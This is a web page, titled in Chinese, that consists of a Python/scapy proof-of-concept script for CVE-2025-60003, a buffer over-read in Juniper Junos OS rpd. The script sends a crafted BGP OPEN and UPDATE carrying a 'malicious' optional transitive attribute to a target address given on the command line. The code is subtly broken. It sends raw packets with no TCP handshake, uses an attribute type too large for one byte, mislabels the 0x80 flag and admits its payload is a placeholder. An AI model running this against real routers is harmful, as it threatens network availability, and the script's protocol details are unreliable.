CVE-2025-60003: Juniper Junos OS rpd缓冲区过度读取漏洞

#!/usr/bin/env python3 # CVE-2025-60003 PoC - Juniper Junos OS rpd Buffer Over-read # This PoC demonstrates sending a crafted BGP UPDATE with malicious optional transitive attributes # Note: This is for authorized security testing only from scapy.all import * from scapy.contrib.bgp import * import socket import struct def craft_bgp_open(): """Craft BGP OPEN message for session establishment""" bgp_open = BGPOpen() bgp_open.version = 4 bgp_open.my_as = 65000 bgp_open.hold_time = 90 bgp_open.bgp_id = IPAddr('192.168.1.100') # Add 4-byte AS capability (may be omitted to trigger vulnerability) cap_4byte = BGPCapability() cap_4byte.code = 65 # 4-byte AS number cap_4byte.value = struct.pack('!H', 65000) bgp_open.capabilities = [cap_4byte] return bgp_open def craft_malicious_bgp_update(): """Craft malicious BGP UPDATE with crafted optional transitive attributes This triggers buffer over-read in rpd when processing attributes """ bgp_update = BGPUpdate() # Withdrawn routes bgp_update.withdrawn_routes = [] # Path attributes with crafted optional transitive attribute # This specific attribute construction can trigger the buffer over-read path_attrs = [] # ORIGIN attribute (well-known transitive) origin_attr = BGPPathAttr(flags=0x40, type=1, attr=[BGPAttrOrigin(0)]) path_attrs.append(origin_attr) # AS_PATH attribute (well-known transitive) as_path = BGPAttrASPath(paths=[[(1, [65001, 65002])]]) as_path_attr = BGPPathAttr(flags=0x40, type=2, attr=[as_path]) path_attrs.append(as_path_attr) # NEXT_HOP attribute (well-known transitive) next_hop = BGPAttrNextHop('10.0.0.1') next_hop_attr = BGPPathAttr(flags=0x40, type=3, attr=[next_hop]) path_attrs.append(next_hop_attr) # Crafted optional transitive attribute that triggers buffer over-read # This is a placeholder - actual exploitation requires specific byte patterns malicious_attr_data = b'\xaa\xbb\xcc\xdd' * 10 # Malicious pattern # Wrap in BGPPathAttr with optional transitive flag (flag=0x80) crafted_attr = BGPPathAttr() crafted_attr.flags = 0x80 # Optional + Transitive crafted_attr.type = 999 # Vendor-specific attribute type crafted_attr.attr = malicious_attr_data path_attrs.append(crafted_attr) bgp_update.path_attributes = path_attrs # NLRI (Network Layer Reachability Information) bgp_update.nlri = [IPNetwork('10.100.0.0/24')] return bgp_update def send_bgp_poc(target_ip, asn=65000): """Send crafted BGP messages to trigger vulnerability""" print(f"[*] Starting CVE-2025-60003 PoC against {target_ip}") print(f"[*] Local ASN: {asn}") # Step 1: Send BGP OPEN message print("[*] Sending BGP OPEN message...") open_pkt = IP(dst=target_ip) / TCP(dport=179, sport=12345) / BGPL4Session() / craft_bgp_open() send(open_pkt, verbose=0) # Step 2: Send crafted BGP UPDATE with malicious attributes print("[*] Sending crafted BGP UPDATE with malicious optional transitive attributes...") update_pkt = IP(dst=target_ip) / TCP(dport=179, sport=12345) / BGPL4Session() / craft_malicious_bgp_update() send(update_pkt, verbose=0) print("[+] Packets sent. Target rpd may crash if vulnerable.") print("[!] Note: Actual exploitation requires specific attribute construction based on target version.") if __name__ == '__main__': import sys if len(sys.argv) < 2: print("Usage: python cve-2025-60003-poc.py <target_ip>") sys.exit(1) send_bgp_poc(sys.argv[1])